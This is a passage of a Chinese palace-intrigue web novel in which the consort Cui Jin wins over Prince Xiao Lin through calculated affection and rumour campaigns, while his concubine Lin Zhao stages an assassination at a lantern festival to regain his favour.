话已说到这里,如春便顺势劝道:“昨日奴婢见王爷那样子当真吓人,若非您起了毒誓叫他相信,只怕此事没那么容易过去,以后您可不能冒险了。” “我也不愿冒险。”崔锦道,“只是这根刺……总要拔除的。” 上回萧临试探,她便有了猜测。 后来偶尔提起沈之珩时,萧临虽有掩饰,但的确介意他们定过亲,沈之珩还借住崔府长达半年。 崔锦自然要将这根刺从他心中拔除。 不破不立。 如春这才明白,暗恨:“只怪老爷听信了大姑娘的谗言,叫姓沈的入府借住,美其名曰给您和未婚夫培养感情,谁知她打着自己勾人的主意!” 也幸而大周礼教没前朝那么严苛,否则沈之珩这一入住,崔家姑娘们的名声就全毁了。 崔锦目光晃神一瞬。 崔父要给她定下沈之珩时,她与母亲原是不同意的,只是调查过这的确是个品行不错的孝子,且颇有才华后,她才暗中见了沈之珩一面。 因为那张俊逸出尘的脸,她点了头。 现在回想起来,唯一的感觉就是后悔。 非常后悔。 她正要说话,便见如冬进来道:“方才刘账房被庆喜着人带走了,我们如今在王府的人手不够,奴婢没敢深入探查。” “不用查了。”崔锦道。 如春也点头:“王妃要去云来布庄的消息本就是我们利用刘账房透给珠玉院的,想来是王爷查出来了。” 且看萧临这意思,还是要保林昭了。 白月光到底是不一样的,若今日做出这种事的是崔锦,他不必多说都会重惩,绝不留情。 果然,萧临回府后,对她并未提起林昭一个字,只道:“是账房被晋王的人收买了,透露了你的行踪。” 崔锦心中嗤笑。 这是欺负她脚跟不稳,没法查到真相? 她眼中露出一抹讽意:“陷害弟妹偷人?亏他还自诩顶天立地,光明磊落,未想手段如此下作!” 萧临脸色有一瞬的不自然。 林昭身败名裂,众人唾骂,先前还被永隆帝重惩过,下场已经极惨,他即便心中怒她不争气,也再下不去手重惩。 昨日之事若叫崔锦知道,她必愿为了他忍让。 但与其郁结在心,不如从头到尾都不知情。 “锦儿放心。”他握住崔锦的手,声音温柔,“昨日之辱,本王比为你加倍讨回。” 崔锦面露感动,软软抱住他的腰:“若没有与王爷相处过,妾身从不知除母亲外,还有人对妾身如此之好。” 萧临被她哄得心中熨帖,心中已经思索着该如何给晋王挖坑了。 但身体忽地被推开。 他眉头微皱,还未说话就被拉住手带去书房。 “做什么?” “送王爷一个礼物。” 萧临不以为意,小姑娘的礼物无非就是什么衣裳荷包,香囊玉佩,一会儿稍给个面子笑一下也就是了。 片刻后,他看着被塞进手里的《漓川杂记》,表情诧异。 这是前朝傅大儒的绝世孤本。 “妾身听说李阁老找这本书很久了,您拿去送他吧。”崔锦认真说道。 萧临为了拉拢李阁老也找过这本书,却没想到在崔锦手里。 他推辞一句:“这种绝世孤本,传家传世都是珍宝,还是你自己留着吧。” “什么孤不孤本,只要能帮到王爷,便是它最大的福气了。”崔锦语气颇有些执拗。 见萧临被她逗笑,她便环住他的腰,仰头冲他笑:“王爷对妾身这么好,妾身一定要对王爷更好才行。” 萧临心中动容。 崔氏如此懂事,又对他如此痴情专一,他也该对她更好些。 他摸了摸她的发丝,说道:“五日后护城河边有灯会,本王带你去玩可好?” 崔锦眼睛一亮,立刻应下。 靠在萧临怀里,她满眼盈盈笑意。 打一巴掌给颗枣。 巴掌是她给的,枣也是她给的。 萧临心情好了,便顺势抱着她在书房练了好一会儿字,他虽更侧重武道,但自幼被太傅教习,于文墨方面也算过得去。 可崔锦却是自幼被谢老爷子与周大儒联手教导的才女,一出手便惊艳了萧临。 “锦儿字体竟有如此风骨。”他诧异又欣赏。 崔锦眉梢微挑:“王爷不知道的还多着呢。” 萧临一笑,低柔道:“本王有得是耐心了解你。” 见崔锦脸色微红,他覆上她握笔的手:“本王字体不佳,锦儿可愿帮我练字?” 崔锦微微垂眸,含笑带着他在纸上笔走龙蛇。 萧临一边练字,一边与她聊天,言谈间竟发现崔锦言之有物,无论聊到什么都能接上几句,有些见解还颇为新颖,不禁叫他大为改观。 他初见崔锦,只被她的容貌惊艳。 后来相处不多,便以为她如林昭所说,只是个没见识的后宅女子,只有一腔痴情叫他高看几分,便也从未想过浪费时间与她深入交谈。 直到最近的几次亲密……即使心中再不愿承认,但他的确是见色起意。 因为林昭屡屡叫他失望,而崔锦又这般貌美痴情。 他不是柳下惠。 所以在发现林昭几次三番犯错后,他对她的承诺便顺理成章地松动了几分,直到被崔锦蛊惑。 崔锦正带他写完最后一个字:“收手利落些,不要拖泥带水——” 话没说完,她耳根便红了。 “怎么不说了?”萧临又亲了亲她耳尖。 崔锦语气压低,含着娇嗔:“王爷……” 萧临低笑一声,目光在触及她艳若桃李的双颊时,眼底灼热滚烫,几乎瞬间便想起了昨夜。 从没有哪个女人能叫他如此疯狂。 看着崔锦羞涩又仿佛带着钩子的眼眸,他俯身有些着急地吻了上去,一路向下…… 第三十五章 行刺 很快便到了灯会这夜。 崔锦还是很期待的,愿意在后宅搅风弄雨,不代表她喜欢这样,热闹地方对她很有吸引力。 但不想临行前,又加了一个林昭。 萧临轻咳一声,微含歉意:“侧妃久未出门,今日便与我们一同出去走走。” 他本是有意哄崔锦高兴才带她出门,自没考虑带林昭。 只是后者连日来郁郁寡欢,整个人瘦了一大圈,只求去放个河灯许愿安康,他一时不忍,便应了。 “人多热闹。”崔锦笑容不变。 才用孤本略微修复了点与李首辅的关系,这就好了伤疤忘了疼? ……或许是前几回还不够疼。 她心中快速盘算起这回该怎么扇巴掌。 “王妃似乎不高兴?”林昭欲言又止。 崔锦抬头看她,还未回答,林昭便慌乱垂眸,屈膝道:“是妾身思虑不周,您与王爷出门游玩,本不该被外人冒昧打扰……妾身这便告退,祝王爷王妃今夜玩得愉快些。” 她对崔锦从未如此恭敬过。 不止崔锦,萧临也很惊讶。 但看着林昭低眉顺眼,恭敬十足的模样,他心中不可避免地有些刺疼。 傲骨铮铮者低下头,更叫人心中酸涩不忍。 “无碍。”他声音温和了些,“王妃宽宏大度,不会与你计较。” 崔锦含笑点头:“说来倒是妾身疏忽了,侧妃闷在府里许久,本该出门散散心,回来胃口也会更好些。” 萧临握住她的手:“你总是愿意体谅。” 他小意温柔地扶着崔锦上了马车。 林昭站在原地,死死掐着手掌才没有露出异样。 上马车后,秋纹轻声提醒:“侧妃,我们一定要忍。” 林昭应了声,眼神怨毒:“那个贱人的狐媚手段当真厉害,竟能勾得王爷破了对我的承诺,对她百般宠爱……” 千秋宴一事叫她彻底声名狼藉,也彻底打醒了她。 若没了萧临的宠爱,她谈何登上后位,二圣临朝? 她还有无数抱负没有完成,还要为百姓谋福祉,提高女子地位,叫大周再无内忧外患……崔锦这种只会目光短浅的封建女,不会理解她的抱负与大义。 而为了这些目标,她也必须忍耐一些恶心的人和事。 等她助萧临登上帝位,做出功绩,叫大周海晏河清,受万民敬仰奉养,崔锦这种人必然早已淹没在宅斗之中。 届时,她眼风扫过她都是恩赐。 很快便到了护城河边,此时这里已人声鼎沸,叫卖声喧闹声接连不绝。 崔锦隔着车帘瞧了瞧外头的热闹,心情便好了许多,忙戴上面纱下车——大周礼教不严苛,但她的容貌太打眼了些,举凡去人多处,总要戴上帷帽或面纱。 林昭则直接穿了男装。 她视线扫过崔锦的脸时,眸光微妒,却很快平静下去,建议道:“下回王妃出门,可做男装,如此能避免许多意外,也少有好色之徒觊觎。” 这话勾起了萧临的回忆:“本王与你初见,你便着男装,在南疆那几年也少露女儿身。” 林昭眼神傲然,声音清冷:“女子衣裙繁复,破规矩也多,聚集的人多了便只有心眼争斗,烦人得很,远不如男子洒脱自在,若非无法选择性别,我必要做男子。” 萧临摇头失笑。 崔锦一边笑着,一边声音更柔更软:“我倒只喜欢做女子,也喜欢漂亮衣裙,臭男人的衣裳有什么稀罕,看一件丑一件。” “丑?”萧临挑眉,“也不知是谁巴巴跑了老远,只为买得云锦做丑衣裳。” 崔锦立刻改口:“若穿的人容姿绝佳,便也衬得衣裳更美些。” 见萧临看着她直笑,她瞪眼:“不许笑我!” 萧临没忍住,好半晌才止了笑意,好生安抚她。 林昭走在旁边,一时竟插不上话,脸色难看一瞬,心中的怨怒被她快速压了下去。 此时几人已走到河边,庆喜笑吟吟将买好的花灯拿了过来。 河水粼粼,其上满是绚丽多彩的花灯,衬得夜色都美了三分。 萧临再抬眸看向崔锦时,她眸光被映得亮如星河,脸上的面纱在此刻更带着股犹抱琵琶半遮面的朦胧美感。 他竟失神片刻。 崔锦眉梢微挑,正要开口。 “快放花灯吧。”林昭催促,“再不去,位置都要被人抢光了。” 她转头看了看崔锦,因在外面,便理所当然省去尊称:“你穿着衣裙不方便,我和阿临替你放花灯吧。” 萧临回过神,看着崔锦一身贵气清净,下意识便不想叫她沾手杂事,于是轻笑揶揄:“美人便该高坐云端,脏活累活我们做,你监工便是。” 林昭脸色僵硬一瞬,也点了点头。 崔锦便写了愿望,含笑目送他们去河边。 庆喜捧着花灯跟在后面,因着人多,他们好不容易才找到一片清净地方,但林昭拿到花灯有些不满,愣是要抢萧临手中那盏。 两人正拉扯间,水中忽地蹿出一道身影,长剑直往萧临心口刺去。 萧临此时正半蹲在河边,手中还捧着花灯,反应慢了半拍,只能堪堪躲过致命伤,未想在长剑刺入皮肉的前一瞬,林昭猛地挡在他身前,死死抱住他。 长剑没入林昭肩头。 “啊——” “杀人了!” 有人终于发现这里的动静,惊叫起来。 萧临眸光骤缩,揽住林昭,转身便狠狠踹去刺客心口。 刺客被踹入河后,信王府的侍卫也匆匆赶到,一个接一个跳入河里捉拿刺客。 而萧临为林昭简单包扎后,抬手射出飞镖,斩断马车前的缰绳,随后抱起林昭便飞身上马。 他脸色发白,满眼焦急,甚至来不及安置崔锦便快速离开。 如夏几人紧紧护住崔锦,在侍卫们的配合下隔开惊慌拥挤的人群,上了另一辆马车,快速驶离。 回到王府后,崔锦才知萧临并未回来,而是带着林昭直接去了太医院。 正院烛火摇曳,如夏忙安慰:“王妃别伤心,方才事态紧急,王爷只能先顾着林侧妃的命。” 如春小心翼翼地拿来木鱼,放入崔锦怀里。 敲吧,这回她不嫌吵。 “伤心?”崔锦莫名其妙地看她们一眼,“伤心刺客没攻击我吗?” 闹市那种地方,一旦如夏救她不及,她就得自保,但武功是她最大的底牌,她实在不愿露于人前。 还好今夜的刺客懂事,伤了那俩就不伤她了。 如春松了口气:“您没事就好……不过这林侧妃对王爷倒真有几分真心。” 如夏翻了个白眼:“她那点三脚猫功夫,在近距离的攻击前,若非早有准备,绝没有挡剑的时间和反应力。” 崔锦敲起木鱼,淡声开口:“故技重施,勾起曾为王爷挡剑的情分……她的确如愿了。” 第三十六章 旺他 萧临是第二日才带林昭回府的。 崔锦得到消息后,立刻去了珠玉院。 浓郁的药味率先传来,她脚步不由加快几分,进屋后第一时间去看萧临:“王爷没事吧?侧妃伤势如何了?” 她焦急地打量萧临一圈,见他身上没伤才松了口气,继而担忧的眼神便落在床上的林昭身上。 萧临眉间满是心疼:“昭儿左肩被长剑穿透,又刺激了旧伤复发……幸而陆医女全力救治,才叫她的伤势稳定下来。” 崔锦听得心惊肉跳,头一回恨声开口:“哪里来的刺客,竟敢猖獗至此!妾身这就传信给父亲和外祖父,请他们一起探查,必要揪出幕后之人!” 林昭眼神微慌。 一个萧临和大理寺就已经叫她费力去瞒,若再叫崔谢两家插手,难保不会查出什么蛛丝马迹。 她轻咳几声,打断萧临答应的话:“王爷已经派人去查了,妾身相信王爷一定会给我公道,王妃不必劳烦长辈,不然……咳咳,若被人知晓,难免要质疑王爷能力不足……” 萧临忙制止她:“都应你便是,你快别说话,免得牵动伤口。” 林昭对他笑了笑,苍白的脸上满是眷恋。 两人的手在被下交握,又含着脉脉温情。 崔锦眼眸微沉。 昨夜她猜到林昭会出幺蛾子——或是失足落水,或是不慎受伤,却唯独没想到她竟敢在闹市安排刺客。 昨夜那么多百姓,稍有错漏便会酿造灾难。 林昭……她怎么敢? 见秋纹端来药,萧临亲手接过喂给林昭,崔锦道:“昨夜百姓惊慌,护城河边有踩踏之事发生,二死十五伤,还有一幼童落入河中,至今高热不醒……昨夜妾身已为他们支付医药费用,但此事终究因王府而起,妾身想开库房,再送些药材和赔礼。” 二死十五伤,还有幼童落水…… 萧临脸色阴沉下来:“你只管去做,本王定会挖出背后那个畜生不如的东西!” 林昭脸色煞白,隐于被中的手微微颤抖。 好半晌,她才哑声道:“昨夜……咳,那刺客是冲着王爷而来,幕后定是晋王!” “不是他。”萧临一口否决,“他虽蝇营狗苟,人品堪忧,却并非视百姓如草芥之人。” 林昭不可置信地看着他。 崔锦也面露诧异。 萧临幼时曾被接去娴贵妃膝下养过几年,与晋王一起长大,看如今这两人势如水火的样子,竟没想到他对晋王还有如此之高的评价和信任。 但话说回来,最了解一个人的往往都是他的对手。 林昭有些魂不守舍,萧临以为她是重伤之故,忙叫她歇息,与崔锦一起出门。 “昨夜……”萧临声音含愧。 “昨夜王爷遇刺,侧妃重伤,您带她先走是对的。”崔锦打断他的话,苦笑一声,“若说妾身不怨不伤心……莫说王爷,妾身自己都不信,但以后若再遇此事,妾身还是希望王爷第一时间离开,不要顾及任何人。” 她眼神认真。 萧临神色动容。 他正要开口,忽然听到房内秋纹的哭声:“侧妃您伤口又泛疼了?” “你……小声些……” “王爷王妃都走了,您还怕奴婢得罪谁吗?”秋纹不忿,“从前您身子多好,哪怕在战场都没如此频繁重伤,可打从王妃入府,您数数自己在床上躺了多少回?下毒、杖责、禁足,这回更是差点连命都搭进去……若她不是故意陷害,那必是克您!” “你、你胡说什么!” “奴婢没胡说,奴婢有眼睛,自己会看!且不说您,咱们王爷从前多风光,现在呢?满京骂名!要奴婢说,娶她还不如娶个扫把星回来!扫把星起码不会克夫克得这么毒!” 崔锦脸色骤然惨白。 萧临微顿一瞬,安抚道:“秋纹出言不逊,本王会罚她,你莫往心里去……都是无稽之谈罢了。” 崔锦勉强一笑:“妾身明白……这些日子王爷只管放心照顾侧妃,妾身会料理好府中上下。” 话落,她屈膝一礼,转身离开。 萧临看着她纤细孱弱的背影,心中一时不忍,又忍不住顺着秋纹的话思索起来。 …… 崔锦回了正院。 如秋蹙眉道:“林侧妃这回长脑子了,此局有些不好破……” 林昭不管不顾,派人在闹市行刺,进而牵动了萧临的感情,若她们找不到林昭行刺的证据,势必要败一回。 而秋纹的话更如同当胸一剑。 大周对鬼神与命格之说相当信重,否则先前崔锦以祖宗起誓,萧临也没那么容易信。 也因此,秋纹的话定叫他心中存了疑影。 崔锦想了想:“她说的也没错,王爷的灾难的确都是我带来的。” 如春摇头:“只要您愿意,您必然旺他啊!” “是啊。”崔锦不禁笑了,意味深长,“我旺他。” 如春几人面面相觑。 “王妃的意思是……” “林昭惯会用舆论,这回我们也用用。”崔锦道。 想也知道秋纹那番话绝不止会对着他们说,必是要传得人尽皆知才罢休。 但她没必要非等到传出谣言了再出手澄清。 她招了招手,在如秋和如冬耳边低声吩咐几句。 如冬点头后立刻离开,如秋却迟疑问:“回音楼势力非同凡响,能愿意为我们做事吗?” 崔锦用左手写了一封信,又拿出一块玉佩递给她:“你交给回音楼的掌柜即可。” 回音楼背后是燕山长公主,永隆帝的亲妹妹,在京城向来是独一份的风光,先帝时六子夺嫡,燕山长公主因永隆帝而被牵连其中,最后被谢老太爷保下,因此对后者感激万分。 出嫁前,谢老太爷将这份人脉留给了崔锦。 前世她借燕山长公主让沈之珩步步高升,但这一世,她要为自己铺路。 如夏得令后便匆匆离开。 崔锦垂眸抿茶。 只有蠢货才会用自己名下的产业传谣言。 第三十七章 林昭是扫把星 护城河遇刺一事在京城掀起的波澜不小。 谁也没想到在天子脚下,闹市之地,竟有人猖狂至此,敢挑衅天威,刺杀的还是当朝亲王。 大理寺与顺天府齐齐出动,连夜探查线索,但目前却只止步于已经自尽的刺客。 朝野内外或是激愤交加,或是人心惶惶。 只有万福戏楼和品茗馆在宣扬林侧妃舍命救夫,为爱而勇的事迹,倒叫不少人惊慌之余,对她多了几分赞赏。 时下除去贤妻良母,只有为夫付出一切的女子最受称颂。 但就在这时,回音楼出了一则新戏——讲的是一个富商独宠妾室,却因无子被长辈逼迫娶妻,他因此对妻子不假辞色,纵容妾室欺压正妻,还因此与长辈有了龃龉,生意也做得越来越不顺。 好景不长,妾室渐渐露出真面目,富商才知她纵容下人鱼肉乡里、欺世盗名、离间他与长辈正妻的关系,还联合正妻的姐妹诬陷正妻……做尽龌龊事,百姓与手下对妾室敢怒不敢言,迁怒于他,因此暗中搞破坏,叫他生意越发惨淡。 富商得知真相,悲恸万分,这才看清了长辈的良苦用心,与长辈重修旧好,并将妾室送去官府,绳之以法。 戏曲最后,富商成一方首富,贤名远播,对正妻感激非常:“幸得贤妻,助我勘破迷障,步步青云!” 此戏一出,回音楼座无虚席,场场爆满。 ——大家心里明镜儿似的,回音楼就差骑在萧临脸上点名了。 因为刺客而人心浮动的京城,不多时就被回音楼拉回心神,其中尤以晋王党最为捧场。 百姓也议论纷纷,林昭名声大,先前她被永隆帝重惩后,在民间以规矩不足糊弄了过去,如今被回音楼翻了出来,百姓才知竟是林昭纵容下人鱼肉百姓! 还有她欺世盗名是文武百官亲眼见证,那离间信王与帝后淑妃的关系、联合信王妃姐妹诬陷信王妃呢?也是真的吗? 众人不由想到了先前崔儒月在信王府外哭诉一事。 那时侍卫杀人灭口,便承认是侧妃指使。 崔儒月本就因此事名声尽毁,一看有了甩锅的苗头,立刻承认是自己被林昭哄骗——她与沈之珩早有私情藏不住,扣不了换嫁的锅,便咬死了说侍卫杀人灭口是真的,林昭想要用她的命嫁祸崔锦,但她命好,躲过了杀机。 此言一出,林昭杀人一事瞬间传得沸沸扬扬,连带着包庇她的萧临都多了不少骂声。 这回不止是百姓,就连朝堂后宅的声音都大了不少——林昭这是扫把星吧? 萧临本该娶了崔锦,夫妻和睦,有了崔谢两家的支持,还有周大儒助力,本该稳稳压晋王一头。 可因为一个林昭,萧临冷落王妃,叫崔谢脸面无光,助力微薄,还因独宠林昭而无缘子嗣,又被什么御赐之物动手脚、盗诗诬陷等事连累得名声蒙污,饱受朝堂非议。 仅凭林昭一己之力,差点把一个有望争储的皇子拉下台。 ……这得是什么品级的扫把星才能干成的事啊? “外头都在说王妃可怜呢。”如春掩唇轻笑,“因为回音楼的戏,大家现在都觉得您是王爷的福星,助他勘破迷障的。” 如夏撇撇嘴:“本来就是,那位干的那些事,哪件冤枉了她?若非王妃尽早挑破,再等她干的连王爷都兜不住,必要被晋王重击一回,届时王爷能不能缓过来都是问题。” 如春想了想,也不由点头。 崔锦没说话,敲起了木鱼。 几个婢女对视一眼,瞬间噤声。 约莫过了一刻钟,外头传来行礼声:“见过王爷。” 萧临大步进门,见状问:“怎得敲起木鱼了?” 崔锦起身行礼,忧心忡忡:“外头流言猛烈,妾身蠢笨,别无他法,只能祈求佛祖庇佑王爷。” “辛苦你了。”萧临拉着她坐下,“这回流言来得蹊跷,本王已在深查,但昭儿伤的重,没心思想七想八,你看着些,别叫闲话传去珠玉院。” “那是自然,王爷放心。” 萧临对上她满含忧虑的双眼,语气微深:“那日的话是秋纹所说,与昭儿无关,你别往心里去,本王不会信那些无稽之谈。” 他声音温柔,看似安抚,可眼中极快闪过的猜疑却叫崔锦捉了个正着。 她哑言半晌,不可置信地问:“王爷觉得那些流言是妾身传的?” “怎会?” 萧临本只想敲打一番,可见崔锦没了往日的柔顺,步步紧逼,他也打消了留份体面的想法,揉着眉心开口:“你深爱本王,那夜本王却为昭儿忽视了你的安危,近日来又只陪着她养伤,你心中有怨妒也实属正常。” 崔锦脸色一瞬间变得煞白。 “你别多想。”萧临缓和了声音,“即便你承认此事,本王也不会治你的罪……你不过是为情所困罢了,只是以后千万记得谨慎坦荡做人做事。” 只要崔谢两家还在,他就不会轻易动崔锦,这回略作敲打,以她的深情,绝不会再犯。 萧临便也能更宠她几分。 但崔锦红着眼睛,定定看了他半晌。 “如秋。” 如秋忙进来,便听崔锦开口:“去请回音楼掌柜、管家,以及顺天府丞,连日来我与你们去过哪里,做过什么,有管家佐证,回音楼为何出那则戏、流言又是哪里来的,尽有他们作证查证。” “崔锦!”萧临面色微沉,“不过小事,你便非要闹个人尽皆知?” “因为我问心无愧。”崔锦眼中有伤心,也有坦荡,“我也不愿在王爷心里,我只是个顾自己私情,而置你的利益名声于不顾的小人!” 萧临蓦然愣住。 他拂袖起身,离开前留下最后一句:“不必请他们了,本王自会深查。” 崔锦目送他离开。 如秋刚要松口气,就见她眼泪掉了线一样直落,吓了一大跳。 “等着吧。”崔锦边哭边安抚她。 等她眼睛肿了,萧临也该查清楚了。 …… 萧临出正院时脸色阴沉,崔锦受伤的眼神叫他心烦气躁,心中又恼她不懂事,非要追根究底。 等他查清楚,她被指认时脸上就好看了不成? 他始终没信方才崔锦的狡辩之言。 那日秋纹刚说完那番话,回音楼后脚就出了新戏,还捧着崔锦踩林昭,杜绝了崔锦是扫把星的说法……他从不信巧合。 此事不是崔锦所做,难道还是林昭自己坑自己不成? “暗一,去查。” 第三十八章 认清我 中秋已过,夜色微凉。 崔锦坐在窗边,抬头看着月亮,不知在想什么,可泛肿的双眼与她一身清凉却衬得她孤寂不已。 “王妃。”如冬在她耳边低声道,“王爷已经查到那日秋纹去万福戏楼了。” 崔锦轻应一声。 如冬这才退下。 那日崔锦没猜错,林昭的确是想将她是扫把星的克夫流言传出去,如冬一直盯着秋纹,暗中跟着她到了万福戏楼,还顺势引了孟学士前去,“碰巧”叫他听见了秋纹的算计。 孟学士是个老狐狸,又是晋王的人,萧临想查他不容易,所以回音楼便顺理成章的透出是从孟学士处得到的消息。 燕山长公主为人仗义,还因一些旧事,最厌恶心机小妾,自然不会袖手旁观,那场戏虽叫萧临脸面无光,但的确为他保住了与崔谢两家的关系,还顺势捧了把“用心良苦”的永隆帝。 便是萧临面对她,都只能低头道声谢。 夜色渐深时,萧临来了。 他查到真相后心情复杂,没想到当真是林昭害人未果,自己坑了自己。 他也有些无法面对被冤枉的崔锦。 本想明日送些赔礼,揭过这一茬,但听说崔锦打从午后他离开,便一直坐在窗前发呆,连晚膳都没用,他便忍不住来了。 崔锦在怔怔出神,并没有发现他。 直到被如秋的行礼声惊醒。 她看到萧临,先怔了一下,两行清泪忽然落下,低头屈膝:“见过王爷。” 膝还未弯就被扶起。 萧临下意识抬手拭去她脸上的泪,动作是他自己都没察觉到的温柔。 “今日……是本王误会你了。”他顿了半晌,才道。 天潢贵胄,除去帝后母妃,他从未向旁人低过头,更没道过歉。 他觉得亲自前来已经够有诚意,可崔锦却仿佛感知不到,声音平静:“无碍。” “你没有旁的话说?” “预料之中的结果,无话可说。” 是了,她早便说过自己问心无愧。 萧临眉头微蹙:“你……” “王爷可还有吩咐?” 萧临与她对视时,蓦然愣住。 她看他的眼神多是恭敬,全没了往日炙热的爱意。 ……不该是这样的。 “你想要什么赔礼?”萧临语气带着自己都没察觉到的急迫,“宝石头面?织锦衣裳?” 见崔锦恭敬回绝,他反应过来:“对了,你喜爱舞文弄墨,本王库里有一方澄泥砚,还有紫毫笔,再给你添上两本孤本,可好?” “多谢王爷赏赐。” 还是不对。 萧临心中既恼她不识趣,又没来由的慌乱……如此深爱他的人,那般浓烈炙热的情意,不该消失的。 他不允许。 “都不喜欢么?”他问,“那你想要什么?” 他不会哄人,往日林昭生气,送些衣裳首饰,只要珍贵难得些就能叫她消气,可崔锦似乎并非如此。 她说过自己喜欢漂亮衣裳,也喜欢舞文弄墨,可他投其所好的珍贵赔礼却没能叫她多说一个多余的字。 崔锦抬眸,定定看着他。 半晌后,她才声音沙哑:“我想要王爷认清我。” 萧临不解。 崔锦又顿了片刻,像是在想措辞,又剖白内心:“我心机深沉,为得到所爱可以不择手段,又贪心不足,心胸狭隘……王爷看到的我便是如此,我没什么可辩驳。” “但同样,我可以为所爱付出一切乃至性命,绝不会只为自己私欲便置王爷安危利益于不顾,因为在我心中,王爷的喜怒哀乐永远在我自己之前。” 她再度抬眸,眸光偏执而颇具攻击性地看着萧临:“我希望王爷能认清我,不要再侮辱我的情意。” “……对不起。” 萧临这回的道歉真心了许多。 他从未对人说过这三个字,但这回说得心甘情愿。 崔锦在逼他道歉,他却并不觉被冒犯,反而有种奇异的安心与欣喜。 崔锦约莫摸清了他的底线,此时也见好就收。 “别哭……”萧临低头给她擦着眼泪,道歉的话愈发顺口,“是本王的错,以后绝不会再误会你。” 崔锦低低说道:“方才我说自己贪心不足,是真的……从前我觉得能偶尔见到王爷,与您有夫妻之名便满足了,可您这么好……我忍不住贪求更多,那夜您带着侧妃离开,从头到尾没看我一眼,我……心很疼,我也会醋,会怨,会羡慕嫉妒侧妃,忍不住想叫您再多爱我一些……我便是如此自私。” 她从未对萧临表达过自己的想法。 此时她承认自己嫉妒吃醋,说来很没有风度仪态,还容易招人厌恶,但萧临心中却愈发满足。 ——崔锦吃醋生怨都是因为太过爱他,在确信她的爱虽偏执,却不会有损他的利益后,他心中便只剩下满足和贪求。 还想再给她更多,想叫她的爱意再浓烈些。 或许,可以把给林昭的爱分她一半。 月光下,崔锦眼中含泪却情意缱绻,泪水丝毫不损她绝美的容貌,反而添了别样风情。 萧临情不自禁地低下头,细细吻去她脸上的泪水,随后覆上她的唇,辗转研磨又如疾风骤雨。 对崔锦的身体,他似乎总是无法保持冷静。 窗户被关上,只有紧密相贴的两个身影渐渐落入床幔之中。 外头,一个小厮欲言又止:“王爷不是答应侧妃今夜练剑给她看吗?” “这么大声做什么!”庆喜斥了一声,“王爷想去哪儿还要你指使不成?” 小厮看了眼毫无动静的里间。 王爷一定听到他的话了,却没反应。 一夜旖旎,翌日崔锦强撑着醒来。 萧临见状,柔声问:“不多睡会儿?” “想多看看王爷。”崔锦声音有些哑。 “又不是看不着了。”萧临轻笑,哄道,“等下朝后,你来前院磨墨,叫你看个够。” 崔锦面露意外,又有些迟疑:“侧妃还重伤在床,王爷该多陪她……” 话是这么说,她眼里语气都是不舍。 萧临被逗笑,心里却熨帖:“即便要陪她养伤,本王也会拿出一半时间陪你。” 再不是从前几次林昭一复宠便是专宠的局面了。 崔锦眼睛微亮,勾了勾他的手:“王爷真好!” “对了。”她补充,“宝石头面,织锦衣裳,还有澄泥砚紫毫笔和孤本,王爷记得叫人送来啊。” 萧临挑眉:“你不是不稀罕?” “谁说的?”崔锦语气理所当然,“王爷说了送我,那就是我的了!您记得把我的东西还给我。” “倒被你缠上了。”萧临摇头失笑。 转头却吩咐庆喜将东西送来,还添了几幅字画和锦缎首饰,看起来极为可观,浩浩荡荡就送去了正院。 第三十九章 王爷其实挺单纯的 正院,如春看着这堆东西,由衷佩服:“王妃真厉害。” “嗯?”崔锦不解。 如春顿了顿,含蓄说道:“奴婢觉得……王爷其实挺单纯的。” 崔锦从头到尾都是嘴上的深情,细数下来付出最大的只有九泉之下的崔家祖宗,像是林昭那种实实在在的挡剑证明心意,她是一点没沾的。 反倒是打从进门起,坑得萧临体无完肤,整个信王府的名声岌岌可危,崔锦自己却清清白白,人人提起只有同情和赞许。 而萧临……竟然信她得很,坚定认为崔锦爱他爱得无法自拔。 昨日好不容易猜到回音楼那出戏是崔锦所为,偏偏还觉得崔锦是因为爱他爱到失去理智。 若非被崔锦逼了一把,他连句重话都不会说。 再次被坑了一回后……就被逼着引导着,向崔锦道了歉,又给出了承诺,送了一堆有价无市的赔礼。 若只是因为崔谢两家,他真没必要做到这份上。 崔锦慢吞吞拿起木鱼:“缺爱是这样的。” 前世她便透过沈之珩的描述,隐隐察觉到萧临似乎幼年过得不好。 这种性格的人,即便长大后拥有再多,内心也是空虚的,也便会无比渴望被爱。 她只是对症下药罢了。 林昭当初在战场的挡剑必然感动了他,可她算计多过爱,又时常端着清冷范儿,不怎么表达爱意。 萧临那时以为林昭这种就是真爱,可后来崔锦演得够像,也戳中了他内心最软处,便衬得林昭稍逊一筹。 所以当察觉到她的爱意或许会收回时,便舍不得了。 这是他能得到的唯一且真挚的爱。 为此他会无察觉的退让。 如春点点头:“王爷在战场所向披靡,果断狠绝,可在感情之事上的确有些优柔寡断……原是性格缺陷之故。” “是啊。”崔锦笑了笑,“原先我也以为他深爱林昭,不过……才发现好像并非如此。” 他喜欢的究竟是林昭,还是那份甘愿为他付出生命的爱,难说。 “对了,帮我给母亲送封信……”崔锦顿了顿,“算了。” 如春疑惑:“若是要紧事,您告诉奴婢,奴婢亲自跑一趟就是。” “也不算要紧。”崔锦摇摇头,“我只是想问问母亲,当年娴贵妃分明已有晋王,为何还将王爷要去膝下抚养……不过母亲也未必知道,此事再说吧。” 淑妃不喜欢萧临,似乎便是因为此事,也不知道当年都发生了什么。 如春点点头,禀报正事:“近日我们的人都安排得差不多了,膳房有一半都是我们的人,花房、绣房等地方也安插了人手,前院有两个管事的把柄被如冬拿捏着,可以控制一小半人,但珠玉院的秋纹颇有手段,暂时只能安插进一个不起眼的洒扫婢女。” 崔锦想了想:“不用安排,直接去查珠玉院的人,策反吧。” 林昭利用秋纹等人敛财也不是一天两天了,上回秋茗被带走,全家流放,珠玉院怎么可能不人心浮动? 如春了然,下去做了。 在林昭受伤后,萧临忙着陪她养伤,又要去查刺客的幕后主使,王府便彻底落入崔锦掌控。 她进门两个多月,也熟悉了信王府,该开始安插自己的人了。 翌日,崔锦进宫给皇后和淑妃请安。 皇后因为那首祝寿词,对她印象不错,每逢她进宫总要留着说会儿话,而后才放她去钟粹宫。 崔锦到时,淑妃正在给幼子九皇子做衣裳。 见了她,淑妃脸色温和:“本宫叫你多休养一段时间再来,你倒来得勤快。” “比起休养,妾身更记挂母妃。”崔锦满眼孺慕,“王爷公务繁忙,九皇弟又小,本就该妾身这个儿媳尽孝膝前。” 淑妃笑了笑,关心道:“你身子可还好?那夜可受惊了。” “妾身无碍,只是侧妃为救王爷伤得重些,直到如今还下不来床……”崔锦一脸担忧。 淑妃冷笑一声:“故技重施罢了。” 她不见得猜出刺客背后是林昭,却立刻觉察出此事不简单,更不信林昭会舍命救萧临。 崔锦安抚了几句。 